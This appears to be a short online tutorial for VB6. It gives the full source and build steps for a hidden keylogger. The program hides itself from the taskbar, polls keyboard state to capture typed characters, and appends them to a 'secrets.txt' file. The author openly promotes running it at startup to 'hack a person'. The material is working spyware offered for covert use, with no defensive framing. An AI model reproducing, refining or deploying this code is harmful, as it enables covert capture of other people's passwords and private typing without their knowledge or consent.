Visual Basic : Simple keylogger script, stores keys entered on keyboard,in a .txt file

This is a simple script for vb6. you can store all keys typed by a user. you only need to do some simple steps.
  if you are making this program to run on startup it stores all keys. through this you can even hack a person.
  its an amazing !!!

1. open visual basic and start a 'standard form'.
2. add a timer, one text box to the form.
3. make form visibility hidden.
4. copy the below code to code window.
.............................................................................................

   Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
App.TaskVisible = False 'makes your form invisible from user
End Sub

Private Sub Timer1_Timer()
For i = 32 To 128 'Changed to 32 to 128
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr$(i) 'Adding the $ sign
End If
Next i
If Len(Text1.Text) = 20 Then
On Error Resume Next
    Open "C:\Program Files\HaariSoft\secrets.txt" For Append As #1 'saving the text enterd
    Print #1, Text1.Text
    Text1.Text = "" 'clearing the text box
    Close #1
    End If
    Exit Sub

End Sub
..............................................................................................
  
5. make value of timer interval to 1
6. make form visibility hidden
7. execute it and make .exe file
8. before doing this you had to create adirectory :- "C:\Program Files\HaariSoft\secrets.txt"


if you want to hack any one making this program to run on startup. it stores all keys. through this you can even hack a person.
  its an amazing !!!
If you had any doubt please mail to me harishjose007@rediffmail.com